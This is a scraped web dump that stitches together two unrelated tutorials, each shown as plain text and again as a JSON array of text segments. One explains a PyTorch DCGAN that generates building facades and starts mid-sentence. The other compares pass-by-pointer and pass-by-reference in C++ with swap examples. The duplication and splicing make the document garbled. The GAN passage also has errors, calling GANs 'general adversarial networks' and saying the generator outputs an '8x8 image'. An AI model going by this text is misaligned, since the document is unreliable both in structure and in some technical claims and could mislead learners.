modeled as a neural network — in our case a convolutional neural network — that takes as input a simple random variable and that returns a random variable that follows the targeted distribution as output. The neural network is able to derive hierarchical relationships in the input probability distribution. In this instance, the relationship, the random noise, is some set of pixels that resemble the real images. On the first iteration of the training loop, the random noise is sent to the discriminator and it determines how much the noise is like the real images. Then once the discriminator tells it how much it is off from the original input, the generator takes that information and adjusts the noise until it turns into an image that resembles the input. Therefore, the generator never works directly with the input. The generator indirectly learns how to transform the noise into something that looks like the input. fixed_noise = torch.randn(64, nz, 1, 1, device=device) The generator layer is composed of ConvTranspose2d layers. These layers will upsample the noise vector which will transform the noise into an image. This is not the same thing as a deconvolution or a convolutional layer. Convolutional layers seek to extract smaller and smaller features that will later be classified. Deconvolution layers seek to reverse the operations of the convolutional layer. In the most simplistic sense, a transpose causes at least two things to switch places with each other. The noise vector and the image space will switch places with each other. This means that we are changing the order of their dimensions and, therefore, we will swap the values in the matrices with respect to the diagonal. This process upsamples — enlarges and fills in the details of the final output — the image. This is the part of the generator that “draws” the actual image. At a high level, this makes more sense if you look at the architecture. We start with a noise vector. This vector is not the image. The noise is a compressed version of what the image will become. The 2D transpose layers in the generator will decompress the noise so it can become an 8x8 image with all of the details in the right place in the image. This is the final product of the generator. The discriminator gets both real and fake images and its job is to classify them as real or fake. nn.Sequential( nn.Conv2d(nc, ndf, 4, 2, 1, bias=False), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(ndf, ndf * 2, 4, 2, 1, bias=False), nn.BatchNorm2d(ndf * 2), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(ndf * 2, ndf * 4, 4, 2, 1, bias=False), nn.BatchNorm2d(ndf * 4), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(ndf * 4, ndf * 8, 4, 2, 1, bias=False), nn.BatchNorm2d(ndf * 8), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(ndf * 8, 1, 4, 1, 0, bias=False), nn.Sigmoid() ) The discriminator is a convolutional neural network with the architecture above. This gives the discriminator the spatial reasoning capabilities that it needs to learn what exact spatially preserved features make an image real and then use those spatially preserved features to classify an image as real or fake. The discriminator does not use the same 2D transpose layers that the generator does because the discriminator is performing a supervised task — isolating and extracting features — not a generative task — upsampling features to create in an image. The discriminator will provide information to the generator so it will learn how to create the real features that the discriminator found in the real images. Ultimately, we want the generated images to be so good that the discriminator can’t tell the difference between real images and fake images. This means that we need to train the DCGAN indirectly. The generator in the DCGAN is not trying to match the input’s probability distribution exactly, but rather the generator is creating a probability distribution that can fool the discriminator network into thinking that the generator’s output distribution came from the same distribution as the real images. The discriminator will then assign an image a score showing how much it looks like a real or fake image. In training, the generator wants to make the discriminator give the generated image a high score so the discriminator will think that the fake image is real. This score is later used in the learning process which allows both the generator to get better at generating images and the discriminator to get better at classifying images. The discriminator outputs a value D that indicates how close the generated image is to the real image. The goal is to maximize the chance that the discriminator recognizes real images as real and generated images as fake. The cross entropy function measures the loss p log(q) for this process. This function measures the performance of a classification model. This function works particularly well for this task because the loss will increase the further the predicted probability diverges from the label. The real image, p equals 1 the maximum chance that it is real. For the generated images, we need to reverse the label (subtract 1) minimize the chance that it is one. This is objective function for the discriminator. The goal of the generator is to create images that will fool the discriminator. This means that its objective function wants to encourage the model to create images with the highest possible value D to fool the discriminator. A GAN is a type of minimax game where G wants to minimize V while D wants to maximize it. This is a type of zero-sum non cooperative game where your opponent wants to minimize their actions and you want to maximize them; both players are maximizing their own payoff. The goal is to minimize the maximum loss (minimize the worst case scenario). MinMax games come from game theory. GANs are designed to reach a Nash equilibrium which is a point at which each player cannot reduce their cost without changing the other player’s parameters. GAN’s converge when the discriminator and the generator reach a Nash equilibrium. This is the optimal point for the minimax equations above. The Nash equilibrium point means that the costs are reduced and there is nothing to change. The generator is able to create images that fool the discriminator. At this point, both of the objectives are met. Some functions will not converge. This occurs most commonly with a non-convex function. In a game theory sense, it is hard to make your model converge when your opponent is always countering your actions. This is why GAN’s have a reputation of being notoriously hard to train. Now for the results! Ultimately, after 500 training epochs on the GPU the results came in. This was the training process as a GIF: You can see the process of going from random pixels to pixelated images to images of architecture. These were some of my favorite (cherry-picked) images: Not all of the generated images looked perfect. Some had a distorted, discolored, and pixelated facade that only a mother could love... General adversarial networks tackle all of these areas at once: unsupervised learning, game theory, and supervised learning. This demonstrates what Feynman said, in order to understand something you have to be able to create it. Creation is inherently multidimensional — you have to be able to understand the interaction of more than one idea or feature at once in order to make something new— and when deep learning has this kind of power its capabilities could be limitless. This power obviously come with a remarkable and unprecedented amount of responsibility, but going forward unsupervised learning and specifically generative models, like GAN’s, have enormous potential to redefine deep learning and artificial intelligence. Check out the entire project here!
[ { "code": null, "e": 214, "s": 171, "text": "What I cannot create, I do not understand." }, { "code": null, "e": 230, "s": 214, "text": "Richard Feynman" }, { "code": null, "e": 1322, "s": 230, "text": "Feynman did not create GAN’s, unsupervised learning, or adversarial training, but with this quote he did demonstrate that intelligence and the ability to understand something is not merely a supervised, discriminative task. In order to understand something you must do more than give it a label based on something similar that you have seen a million times— to understand what you are looking at you must be able to recreate it. The ability to create is what sets general adversarial networks apart from their predecessors in deep learning. GAN’s are generative models that generate output; this is a departure from discriminative models that label input. This makes them a powerful paradigm shifting force in deep learning and artificial intelligence that is worthy of the hype that Yan Lecun and the other fathers of deep learning have given it. The potential for GAN’s surpasses that of discriminative networks because GAN’s use deep learning to synthesize information and to create something novel from it. As Feynman said, this is the most impactful form of understanding that there is." }, { "code": null, "e": 1725, "s": 1322, "text": "In this post I will go over how to use a deep convolutional GAN to create architecture (exteriors of buildings). I wanted to have the experience using and creating a dataset that was not automatically built in — like Imagnet and MINST — and fine tuning it to create realistic looking facades. The dataset I worked with is here. I also augmented the dataset by scraping additional images off of the web." }, { "code": null, "e": 2724, "s": 1725, "text": "General adversarial networks are two neural networks competing against each other to create an output that closely resembles the input. These two networks — the generator and the discriminator— are playing adversarial roles. The generator network creates a new image from random noise based off of the input image. The random noise evolves from incoherent pixels to a coherent image with discernible forms in it because of how the discriminator told it to change. The discriminator network determines if the image is real or fake. The goal of the GAN is for the generator image to be so like the real image that it is able to trick the discriminator into thinking that the generated image is real. One of the most important features of GANs, is that the neural networks implemented in GANs use a number of parameters significantly smaller than the amount data used to train them. This forces the model to learn and internalize the most important features in the data so the model can generate them." }, { "code": null, "e": 3588, "s": 2724, "text": "In order to better understand this, lets look at the analogy that Ian Goodfellow and his colleagues used when they published the original paper in 2014. The generator is like a team of forgers trying to create an output that matches the real paintings (the input), while the discriminator is like a team of detectives trying to determine the difference between the real image and the fake image. For each iteration of the algorithm, the generator never gets to see the original input, instead, it sees the latent random variable (visual noise based off of the real input images) and the judgements of the discriminator. The generator is like a blind forger trying to recreate the Mona Lisa by being given the paint and then she is told by the detective how to use it. The picture that the forger paints looks more and more like the Mona Lisa after each iteration." }, { "code": null, "e": 4489, "s": 3588, "text": "Vanilla GAN architectures are powerful but, this architecture does not allow for any real spatial reasoning since it relies on a feedforward neural network to extract features from an image rather than a convolutional neural network. Feedforward neural networks are unable to reason about features such as sharp edges and accentuated curves because they do not preserve the spatial structure of the image. Convolutional layers preserve the spatial structure of an image which means that the most accurate, detailed features will be extracted from an image. This gives both the generator and the discriminator more advanced spatial reasoning abilities about the output they will generate and about how to discriminate between the features in the real images and the features in the fake images. The enhanced quality of the features extracted is typically why DCGAN’s are used when dealing with images." }, { "code": null, "e": 4774, "s": 4489, "text": "Both the generator and the discriminator will be a convolutional neural network. The discriminator has a vanilla CNN architecture since it is performing the discriminative, supervised task of classifying images. The generator will have a modified convolutional architecture like this:" }, { "code": null, "e": 4955, "s": 4774, "text": "Pooling is replaced with convolutional stride. This allows the network to learn its own spatial downsampling (changing the size of the input). It doesn’t need to be set beforehand." }, { "code": null, "e": 5065, "s": 4955, "text": "No fully connected layer at the end of the CNN. The generator is not a classifier so this part is not needed." }, { "code": null, "e": 5540, "s": 5065, "text": "Batch normalization is used for every layer except the output layer for the generator and the input layer of the discriminator. This stabilizes the training process by standardizing the activations — prior layers have zero mean and unit variance — and the flow of the gradient. In the paper, the results showed that in the output layer in the generator and the input layer in the discriminator led to model instability and that is why batch norm is not used in those layers." }, { "code": null, "e": 5746, "s": 5540, "text": "Use ReLU in the generator except for the output which uses tanh. The symmetry of the tanh function allows the model to learn more quickly to saturate and cover the color space of the training distribution." }, { "code": null, "e": 6178, "s": 5746, "text": "The generator takes in random noise as input and samples the output of the discriminator in order to produce an image. This process can be thought of as mapping the noise to the input data distribution in order to produce an image. The generator architecture is a modified convolutional neural network comprised of ConvTranspose2d layers that have learnable parameters and the rest of the architecture like the one described above." }, { "code": null, "e": 6642, "s": 6178, "text": "nn.Sequential( nn.ConvTranspose2d( nz, ngf * 8, 4, 1, 0, bias=False), nn.BatchNorm2d(ngf * 8), nn.ReLU(True), nn.ConvTranspose2d(ngf * 8, ngf * 4, 4, 2, 1, bias=False), nn.BatchNorm2d(ngf * 4), nn.ReLU(True), nn.ConvTranspose2d( ngf * 4, ngf * 2, 4, 2, 1, bias=False), nn.BatchNorm2d(ngf * 2), nn.ReLU(True), nn.ConvTranspose2d( ngf * 2, ngf, 4, 2, 1, bias=False), nn.BatchNorm2d(ngf), nn.ReLU(True), nn.ConvTranspose2d( ngf, nc, 4, 2, 1, bias=False), nn.Tanh() )" }, { "code": null, "e": 7213, "s": 6642, "text": "In generative learning the machine attempts to generate new outputs from a complex probability distribution (the input). In deep learning this same idea is modeled as a neural network — in our case a convolutional neural network — that takes as input a simple random variable and that returns a random variable that follows the targeted distribution as output. The neural network is able to derive hierarchical relationships in the input probability distribution. In this instance, the relationship, the random noise, is some set of pixels that resemble the real images." }, { "code": null, "e": 7724, "s": 7213, "text": "On the first iteration of the training loop, the random noise is sent to the discriminator and it determines how much the noise is like the real images. Then once the discriminator tells it how much it is off from the original input, the generator takes that information and adjusts the noise until it turns into an image that resembles the input. Therefore, the generator never works directly with the input. The generator indirectly learns how to transform the noise into something that looks like the input." }, { "code": null, "e": 7779, "s": 7724, "text": "fixed_noise = torch.randn(64, nz, 1, 1, device=device)" }, { "code": null, "e": 8177, "s": 7779, "text": "The generator layer is composed of ConvTranspose2d layers. These layers will upsample the noise vector which will transform the noise into an image. This is not the same thing as a deconvolution or a convolutional layer. Convolutional layers seek to extract smaller and smaller features that will later be classified. Deconvolution layers seek to reverse the operations of the convolutional layer." }, { "code": null, "e": 8658, "s": 8177, "text": "In the most simplistic sense, a transpose causes at least two things to switch places with each other. The noise vector and the image space will switch places with each other. This means that we are changing the order of their dimensions and, therefore, we will swap the values in the matrices with respect to the diagonal. This process upsamples — enlarges and fills in the details of the final output — the image. This is the part of the generator that “draws” the actual image." }, { "code": null, "e": 9053, "s": 8658, "text": "At a high level, this makes more sense if you look at the architecture. We start with a noise vector. This vector is not the image. The noise is a compressed version of what the image will become. The 2D transpose layers in the generator will decompress the noise so it can become an 8x8 image with all of the details in the right place in the image. This is the final product of the generator." }, { "code": null, "e": 9151, "s": 9053, "text": "The discriminator gets both real and fake images and its job is to classify them as real or fake." }, { "code": null, "e": 9619, "s": 9151, "text": "nn.Sequential( nn.Conv2d(nc, ndf, 4, 2, 1, bias=False), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(ndf, ndf * 2, 4, 2, 1, bias=False), nn.BatchNorm2d(ndf * 2), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(ndf * 2, ndf * 4, 4, 2, 1, bias=False), nn.BatchNorm2d(ndf * 4), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(ndf * 4, ndf * 8, 4, 2, 1, bias=False), nn.BatchNorm2d(ndf * 8), nn.LeakyReLU(0.2, inplace=True), nn.Conv2d(ndf * 8, 1, 4, 1, 0, bias=False), nn.Sigmoid() )" }, { "code": null, "e": 10179, "s": 9619, "text": "The discriminator is a convolutional neural network with the architecture above. This gives the discriminator the spatial reasoning capabilities that it needs to learn what exact spatially preserved features make an image real and then use those spatially preserved features to classify an image as real or fake. The discriminator does not use the same 2D transpose layers that the generator does because the discriminator is performing a supervised task — isolating and extracting features — not a generative task — upsampling features to create in an image." }, { "code": null, "e": 10840, "s": 10179, "text": "The discriminator will provide information to the generator so it will learn how to create the real features that the discriminator found in the real images. Ultimately, we want the generated images to be so good that the discriminator can’t tell the difference between real images and fake images. This means that we need to train the DCGAN indirectly. The generator in the DCGAN is not trying to match the input’s probability distribution exactly, but rather the generator is creating a probability distribution that can fool the discriminator network into thinking that the generator’s output distribution came from the same distribution as the real images." }, { "code": null, "e": 11278, "s": 10840, "text": "The discriminator will then assign an image a score showing how much it looks like a real or fake image. In training, the generator wants to make the discriminator give the generated image a high score so the discriminator will think that the fake image is real. This score is later used in the learning process which allows both the generator to get better at generating images and the discriminator to get better at classifying images." }, { "code": null, "e": 11784, "s": 11278, "text": "The discriminator outputs a value D that indicates how close the generated image is to the real image. The goal is to maximize the chance that the discriminator recognizes real images as real and generated images as fake. The cross entropy function measures the loss p log(q) for this process. This function measures the performance of a classification model. This function works particularly well for this task because the loss will increase the further the predicted probability diverges from the label." }, { "code": null, "e": 12001, "s": 11784, "text": "The real image, p equals 1 the maximum chance that it is real. For the generated images, we need to reverse the label (subtract 1) minimize the chance that it is one. This is objective function for the discriminator." }, { "code": null, "e": 12227, "s": 12001, "text": "The goal of the generator is to create images that will fool the discriminator. This means that its objective function wants to encourage the model to create images with the highest possible value D to fool the discriminator." }, { "code": null, "e": 12571, "s": 12227, "text": "A GAN is a type of minimax game where G wants to minimize V while D wants to maximize it. This is a type of zero-sum non cooperative game where your opponent wants to minimize their actions and you want to maximize them; both players are maximizing their own payoff. The goal is to minimize the maximum loss (minimize the worst case scenario)." }, { "code": null, "e": 13112, "s": 12571, "text": "MinMax games come from game theory. GANs are designed to reach a Nash equilibrium which is a point at which each player cannot reduce their cost without changing the other player’s parameters. GAN’s converge when the discriminator and the generator reach a Nash equilibrium. This is the optimal point for the minimax equations above. The Nash equilibrium point means that the costs are reduced and there is nothing to change. The generator is able to create images that fool the discriminator. At this point, both of the objectives are met." }, { "code": null, "e": 13389, "s": 13112, "text": "Some functions will not converge. This occurs most commonly with a non-convex function. In a game theory sense, it is hard to make your model converge when your opponent is always countering your actions. This is why GAN’s have a reputation of being notoriously hard to train." }, { "code": null, "e": 13520, "s": 13389, "text": "Now for the results! Ultimately, after 500 training epochs on the GPU the results came in. This was the training process as a GIF:" }, { "code": null, "e": 13619, "s": 13520, "text": "You can see the process of going from random pixels to pixelated images to images of architecture." }, { "code": null, "e": 13674, "s": 13619, "text": "These were some of my favorite (cherry-picked) images:" }, { "code": null, "e": 13810, "s": 13674, "text": "Not all of the generated images looked perfect. Some had a distorted, discolored, and pixelated facade that only a mother could love..." }, { "code": null, "e": 14542, "s": 13810, "text": "General adversarial networks tackle all of these areas at once: unsupervised learning, game theory, and supervised learning. This demonstrates what Feynman said, in order to understand something you have to be able to create it. Creation is inherently multidimensional — you have to be able to understand the interaction of more than one idea or feature at once in order to make something new— and when deep learning has this kind of power its capabilities could be limitless. This power obviously come with a remarkable and unprecedented amount of responsibility, but going forward unsupervised learning and specifically generative models, like GAN’s, have enormous potential to redefine deep learning and artificial intelligence." } ]
Passing by pointer Vs Passing by Reference in C++
These are simple example of passing by pointer and passing by reference - Live Demo #include <iostream> using namespace std; void swap(int* a, int* b) { int c = *a; *a= *b; *b = c; } int main() { int m = 7, n = 6; cout << "Before Swap\n"; cout << "m = " << m << " n = " << n << "\n"; swap(&m, &n); cout << "After Swap by pass by pointer\n"; cout << "m = " << m << " n = " << n << "\n"; } Before Swap m = 7 n = 6 After Swap by pass by pointer m = 6 n = 7 Live Demo #include <iostream> using namespace std; void swap(int& a, int& b) { int c = a; a= b; b = c; } int main() { int m =7, n = 6; cout << "Before Swap\n"; cout << "m = " << m << " n = " << n << "\n"; swap(m, n); cout << "After Swap by pass by reference\n"; cout << "m = " << m << " n = " << n << "\n"; } Before Swap m = 7 n = 6 After Swap by pass by reference m = 6 n = 7 So, if we pass parameter to a function either by pass by pointer or pass by reference it will produce the same result. Only difference is that References are used to refer an existing variable in another name whereas pointers are used to store address of variable. It is safe to use reference because it cannot be NULL.
[ { "code": null, "e": 1136, "s": 1062, "text": "These are simple example of passing by pointer and passing by reference -" }, { "code": null, "e": 1147, "s": 1136, "text": " Live Demo" }, { "code": null, "e": 1478, "s": 1147, "text": "#include <iostream>\nusing namespace std;\nvoid swap(int* a, int* b) {\n int c = *a;\n *a= *b;\n *b = c;\n}\nint main() {\n int m = 7, n = 6;\n cout << \"Before Swap\\n\";\n cout << \"m = \" << m << \" n = \" << n << \"\\n\";\n swap(&m, &n);\n cout << \"After Swap by pass by pointer\\n\";\n cout << \"m = \" << m << \" n = \" << n << \"\\n\";\n}" }, { "code": null, "e": 1544, "s": 1478, "text": "Before Swap\nm = 7 n = 6\nAfter Swap by pass by pointer\nm = 6 n = 7" }, { "code": null, "e": 1555, "s": 1544, "text": " Live Demo" }, { "code": null, "e": 1881, "s": 1555, "text": "#include <iostream>\nusing namespace std;\nvoid swap(int& a, int& b) {\n int c = a;\n a= b;\n b = c;\n}\nint main() {\n int m =7, n = 6;\n cout << \"Before Swap\\n\";\n cout << \"m = \" << m << \" n = \" << n << \"\\n\";\n swap(m, n);\n cout << \"After Swap by pass by reference\\n\";\n cout << \"m = \" << m << \" n = \" << n << \"\\n\";\n}" }, { "code": null, "e": 1949, "s": 1881, "text": "Before Swap\nm = 7 n = 6\nAfter Swap by pass by reference\nm = 6 n = 7" }, { "code": null, "e": 2269, "s": 1949, "text": "So, if we pass parameter to a function either by pass by pointer or pass by reference it will produce the same result. Only difference is that References are used to refer an existing variable in another name whereas pointers are used to store address of variable. It is safe to use reference because it cannot be NULL." } ]